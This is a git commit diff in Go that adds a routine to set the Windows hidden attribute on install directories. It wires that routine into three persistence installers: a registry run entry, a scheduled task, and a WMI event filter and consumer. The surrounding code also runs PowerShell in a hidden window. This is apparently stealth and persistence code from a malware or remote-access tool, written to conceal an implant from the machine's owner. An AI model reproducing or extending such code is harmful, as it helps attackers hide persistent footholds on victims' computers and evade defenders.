make shit hidden
This commit is contained in:
@@ -167,6 +167,18 @@ func deriveWMINames(targetPath string) (filterName, consumerName string) {
|
||||
return prefix + "f" + suffix, prefix + "c" + suffix
|
||||
}
|
||||
|
||||
func tryHideDirectory(dir string) {
|
||||
ptr, err := syscall.UTF16PtrFromString(dir)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
attrs, err := syscall.GetFileAttributes(ptr)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_ = syscall.SetFileAttributes(ptr, attrs|syscall.FILE_ATTRIBUTE_HIDDEN)
|
||||
}
|
||||
|
||||
func runPowerShell(script string) error {
|
||||
cmd := exec.Command("powershell.exe",
|
||||
"-NoProfile", "-NonInteractive", "-WindowStyle", "Hidden",
|
||||
|
||||
@@ -27,6 +27,7 @@ func installRegistryFull(exePath string) error {
|
||||
if err := os.MkdirAll(dir, 0755); err != nil {
|
||||
return fmt.Errorf("failed to create directory: %w", err)
|
||||
}
|
||||
tryHideDirectory(dir)
|
||||
if !strings.EqualFold(filepath.Clean(exePath), filepath.Clean(targetPath)) {
|
||||
if err := replaceExecutable(exePath, targetPath); err != nil {
|
||||
return err
|
||||
|
||||
@@ -24,6 +24,7 @@ func installTaskSchedulerFull(exePath string) error {
|
||||
if err := os.MkdirAll(dir, 0755); err != nil {
|
||||
return fmt.Errorf("failed to create directory: %w", err)
|
||||
}
|
||||
tryHideDirectory(dir)
|
||||
if !strings.EqualFold(filepath.Clean(exePath), filepath.Clean(targetPath)) {
|
||||
if err := replaceExecutable(exePath, targetPath); err != nil {
|
||||
return err
|
||||
|
||||
@@ -24,6 +24,7 @@ func installWMIFull(exePath string) error {
|
||||
if err := os.MkdirAll(dir, 0755); err != nil {
|
||||
return fmt.Errorf("failed to create directory: %w", err)
|
||||
}
|
||||
tryHideDirectory(dir)
|
||||
if !strings.EqualFold(filepath.Clean(exePath), filepath.Clean(targetPath)) {
|
||||
if err := replaceExecutable(exePath, targetPath); err != nil {
|
||||
return err
|
||||
|
||||
Reference in New Issue
Block a user